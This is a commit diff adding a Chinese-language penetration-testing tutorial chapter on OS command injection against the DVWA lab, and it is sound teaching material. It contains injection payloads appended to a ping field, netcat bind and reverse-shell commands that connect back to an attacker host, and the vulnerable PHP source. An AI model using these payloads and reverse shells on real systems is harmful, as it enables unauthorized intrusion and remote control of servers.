Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
OpenDocCN
kali-linux-web-pentest-cookbook-zh
提交
10a6dbc5
K
kali-linux-web-pentest-cookbook-zh
项目概览
OpenDocCN
/
kali-linux-web-pentest-cookbook-zh
通知
4
Star
4
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
K
kali-linux-web-pentest-cookbook-zh
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
提交
Issue看板
前往新版Gitcode,体验更适合开发者的 AI 搜索 >>
提交
10a6dbc5
编写于
10月 16, 2016
作者:
W
wizardforcel
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
6.2
上级
027a49f1
变更
1
隐藏空白更改
内联
并排
Showing
1 changed file
with
80 addition
and
1 deletion
+80
-1
ch6.md
ch6.md
+80
-1
未找到文件。
ch6.md
浏览文件 @
10a6dbc5
...
...
@@ -100,6 +100,85 @@ PHP 中的`system()`函数是攻击核心,它所做的是,执行系统命令
nc -lp 12345 -e /bin/bash
```
它打开服务器的 TCP 12345 端口并监听链接。链接成功之后,它会执行
`/bin/bash`
并把接受输入,把输出通过网络发给被连接的主机(攻击者主机)。
它打开服务器的 TCP 12345 端口并监听连接。连接建立之后,它会将接收的信息作为输入来执行
`/bin/bash`
,并把输出通过网络发给被连接的主机(攻击者主机)。
也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。
## 6.2 利用 OS 命令注入
在上一个秘籍中,我们看到 PHP 的
`system()`
如何用于在服务器中执行 OS 命令。有时开发者使用类似于它的指令,或者相同的功能来执行一些人和,有时候他们会使用无效的用户输入作为参数来执行命令。
这个秘籍中,我们会利用命令注入漏洞并提取服务器中的重要信息。
### 操作步骤
1.
登录 DVWA 访问
`Command Execution`
。
2.
我们会看到
` Ping for FREE `
表单,试试它吧。Ping
`192.168.56.1 `
(在主机网络中,我们的 Kali Linux 的 IP)。
![](img/6-2-1.jpg)
这个输出看起来像是直接的 ping 命令的输出。这表明服务器使用 OS 命令来执行 ping。所以它可能存在 OS 命令注入。
3.
让我们尝试注入一个非常简单的命令,提交下列代码:
```
192.168.56.1;uname -a.
```
![](img/6-2-2.jpg)
我们可以看到`uname`命令的输出就在 ping 的输出之后。这里存在命令注入漏洞。
4.
如果不带IP地址会怎么样呢:
`;uname -a:`
。
![](img/6-2-3.jpg)
5.
现在,我们打算获取服务端的反向 shell。首先我们必须确保服务器拥有所需的任何东西。提交下列代码:
`;ls /bin/nc*`
。
![](img/6-2-4.jpg)
所以我们拥有多于一种版本的 Netcat,我们打算使用它来生成连接。`nc`的OpenBSD版本不支持执行连接命令,所以我们使用传统的版本。
6.
下一步是监听 Kali 主机的连接。打开终端并执行下列命令:
```
nc -lp 1691 -v
```
7.
返回浏览器中,提交这个:
`;nc.traditional -e /bin/bash 192.168.56.1 1691 &`
。
![](img/6-2-5.jpg
我们的终端会对连接做出反应。我们现在可以执行非交互式命令并检查它们的输出。
### 工作原理
就像 SQL 注入的例子那样,命令注入漏洞的原因是弱输入校验机制,以及使用用户提供的数据来拼接之后会用做 OS 命令的字符串。如果我们查看刚刚攻击的页面源代码(每个 DVWA 页面的右下角会有个按钮),会看到这些:
```
php
<?php
if
(
isset
(
$_POST
[
'submit'
]
)
)
{
$target
=
$_REQUEST
[
'ip'
];
// Determine OS and execute the ping command.
if
(
stristr
(
php_uname
(
's'
),
'Windows NT'
))
{
$cmd
=
shell_exec
(
'ping '
.
$target
);
echo
'<pre>'
.
$cmd
.
'</pre>'
;
}
else
{
$cmd
=
shell_exec
(
'ping -c 3 '
.
$target
);
echo
'<pre>'
.
$cmd
.
'</pre>'
;
}
}
?>
```
我们可以看到,它直接将用户的输入附加到 ping 命令后面。我们所做的仅仅是添加一个分号,系统的 shell 会将其解释为命令的分隔符,以及下一个我们打算执行的命令。
在成功执行命令之后,下一步就是验证服务器是否拥有 Netcat。它是一个能够建立网络连接的工具,在一些版本中还可以在新连接建立之后执行命令。我们看到了服务器的系统拥有两个不同版本的 Netcat,并执行了我们已知支持所需特性的版本。
之后我们配置攻击系统来监听 TCP 1691 端口连接(也可以是任何其它可用的 TCP 端口),然后我们让服务器连接到我们的机器,通过该端口并在连接建立时执行
`/bin/bash`
(系统 shell)。所以任何我们通过连接发送的东西都会被服务器接收作为 shell 的输入。
也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录